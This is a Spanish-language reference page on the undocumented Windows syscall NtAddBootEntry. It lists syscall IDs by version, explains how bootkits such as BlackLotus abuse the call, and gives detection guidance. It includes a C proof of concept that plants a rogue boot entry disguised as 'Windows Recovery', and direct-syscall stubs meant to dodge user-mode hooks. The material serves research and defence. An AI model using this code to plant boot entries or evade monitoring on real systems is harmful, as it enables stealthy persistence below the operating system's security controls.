NtAddBootEntry
Registra una nueva BOOT_ENTRY en la base de datos de configuración de arranque (BCD) y devuelve el ID asignado.
Prototipo
NTSTATUS NtAddBootEntry( PBOOT_ENTRY BootEntry, PULONG Id );
Argumentos
| Name | Type | Dir | Description |
|---|---|---|---|
| BootEntry | PBOOT_ENTRY | in | Puntero a una estructura BOOT_ENTRY que describe la opción de arranque de firmware a registrar (FriendlyName, BootFilePath, blob OsOptions). |
| Id | PULONG | out | Recibe el identificador asignado por el BCD para la nueva entrada. Se almacena como variable EFI Boot#### en sistemas UEFI. |
IDs de syscalls por versión de Windows
| Versión de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0x68 | win10-1507 |
| Win10 1607 | 0x68 | win10-1607 |
| Win10 1703 | 0x69 | win10-1703 |
| Win10 1709 | 0x69 | win10-1709 |
| Win10 1803 | 0x69 | win10-1803 |
| Win10 1809 | 0x69 | win10-1809 |
| Win10 1903 | 0x69 | win10-1903 |
| Win10 1909 | 0x69 | win10-1909 |
| Win10 2004 | 0x6A | win10-2004 |
| Win10 20H2 | 0x6A | win10-20h2 |
| Win10 21H1 | 0x6A | win10-21h1 |
| Win10 21H2 | 0x6A | win10-21h2 |
| Win10 22H2 | 0x6A | win10-22h2 |
| Win11 21H2 | 0x6A | win11-21h2 |
| Win11 22H2 | 0x6A | win11-22h2 |
| Win11 23H2 | 0x6A | win11-23h2 |
| Win11 24H2 | 0x6A | win11-24h2 |
| Server 2016 | 0x68 | winserver-2016 |
| Server 2019 | 0x69 | winserver-2019 |
| Server 2022 | 0x6A | winserver-2022 |
| Server 2025 | 0x6A | winserver-2025 |
Módulo del kernel
APIs relacionadas
Stub del syscall
4C 8B D1 mov r10, rcx B8 6A 00 00 00 mov eax, 0x6A F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notas no documentadas
NtAddBootEntry es la mecánica de kernel detrás de `bcdedit /create` y `BcdAddBootEntry` (bcd.dll). En sistemas BIOS heredados edita la subárbol BCD `\Device\HarddiskVolume1\Boot\BCD`; en UEFI materializa una variable EFI `Boot####` mediante `HalSetEnvironmentVariableEx`. Ambos caminos requieren **SeSystemEnvironmentPrivilege**, que solo poseen los administradores elevados. La estructura BOOT_ENTRY incluye un blob `OsOptionsLength` de longitud variable cuyo primer DWORD es una firma — `WINDOWS_OS_OPTIONS_SIGNATURE` ("WINDOWS") para entradas de cargador de SO — replicada directamente a NVRAM en UEFI.
Uso común por malware
Los bootkits usan NtAddBootEntry (o `BcdAddBootEntry`/escrituras NVRAM directas) para instalar una ruta de arranque maliciosa que carga código atacante **antes que el kernel de Windows y, por tanto, antes de cualquier telemetría kernel, PatchGuard o comprobación DSE**. Patrón clásico: soltar un bootloader firmado-pero-vulnerable (o no firmado en objetivos con Secure Boot deshabilitado), registrarlo vía NtAddBootEntry y luego llamar a NtSetBootEntryOrder para situarlo primero. BlackLotus (2022) encadenó CVE-2022-21894 «Baton Drop» contra un bootmgfw vulnerable para sortear Secure Boot y persistir exactamente con esta primitiva. ESPecter y CosmicStrand logran el mismo objetivo a nivel firmware/EFI.
Oportunidades de detección
El proveedor ETW **Microsoft-Windows-Kernel-Boot** ({02012a3b-d8c4-4d4e-b9c2-1edc4f8c4a30}) emite eventos cuando se muta el BCD. La monitorización de registro de `HKLM\BCD00000000` (montado desde la partición de sistema EFI) detecta modificaciones en SO; Sysmon Event ID 13 con un filtro de ruta BCD es el despliegue más sencillo. En UEFI, vigilar también `HKLM\SYSTEM\CurrentControlSet\Control\SecureBoot\State` y auditar las llamadas a `SetFirmwareEnvironmentVariable*` mediante Event ID 4673 (uso de privilegio, SeSystemEnvironmentPrivilege). Una línea base defensiva mediante comparación de hash de `bcdedit /enum FIRMWARE` programada detecta adiciones sigilosas. Secure Boot con una lista de revocación **DBX** actualizada neutraliza abusos del bootmgr tipo BlackLotus.
Ejemplos de syscalls directos
asmx64 direct stub (Win11 24H2, SSN 0x6A)
; Direct syscall stub for NtAddBootEntry
; Requires SeSystemEnvironmentPrivilege; on UEFI also writes to NVRAM.
NtAddBootEntry PROC
mov r10, rcx ; PBOOT_ENTRY
mov eax, 6Ah ; SSN, Win11 24H2
syscall
ret
NtAddBootEntry ENDPcRegister a rogue OS loader entry (PoC, requires SeSystemEnvironmentPrivilege + bypassed Secure Boot)
// PoC only: registers a BOOT_ENTRY that loads \EFI\evil\bootx64.efi.
// Practical exploitation against modern Windows still needs a Secure Boot bypass
// (e.g. a DBX-unrevoked vulnerable shim/bootmgr).
#include <windows.h>
#include <winnt.h>
typedef struct _FILE_PATH {
ULONG Version;
ULONG Length;
ULONG Type;
UCHAR FilePath[1];
} FILE_PATH, *PFILE_PATH;
typedef struct _BOOT_ENTRY {
ULONG Version;
ULONG Length;
ULONG Id;
ULONG Attributes;
ULONG FriendlyNameOffset;
ULONG BootFilePathOffset;
ULONG OsOptionsLength;
UCHAR OsOptions[1];
} BOOT_ENTRY, *PBOOT_ENTRY;
extern NTSTATUS NTAPI NtAddBootEntry(PBOOT_ENTRY, PULONG);
int plant_rogue(void) {
// Enable SeSystemEnvironmentPrivilege first (omitted for brevity).
BYTE buf[512] = {0};
PBOOT_ENTRY be = (PBOOT_ENTRY)buf;
be->Version = 1;
be->Length = sizeof(buf);
be->Attributes = 0; // no BOOT_ENTRY_ATTRIBUTE_ACTIVE -> stealthier first stage
be->FriendlyNameOffset = FIELD_OFFSET(BOOT_ENTRY, OsOptions);
wcscpy_s((wchar_t*)(buf + be->FriendlyNameOffset), 32, L"Windows Recovery");
ULONG id = 0;
return NtAddBootEntry(be, &id);
}rustwindows-sys + naked direct syscall
// Cargo: windows-sys = "0.59"
// Bypasses the bcd.dll wrapper to dodge user-mode hooks; kernel ETW still fires.
use std::arch::asm;
#[unsafe(naked)]
unsafe extern "system" fn nt_add_boot_entry(_entry: *mut u8, _id: *mut u32) -> i32 {
asm!(
"mov r10, rcx",
"mov eax, 0x6A", // Win11 24H2 SSN
"syscall",
"ret",
options(noreturn),
);
}Mapeos MITRE ATT&CK
Last verified: 2026-05-20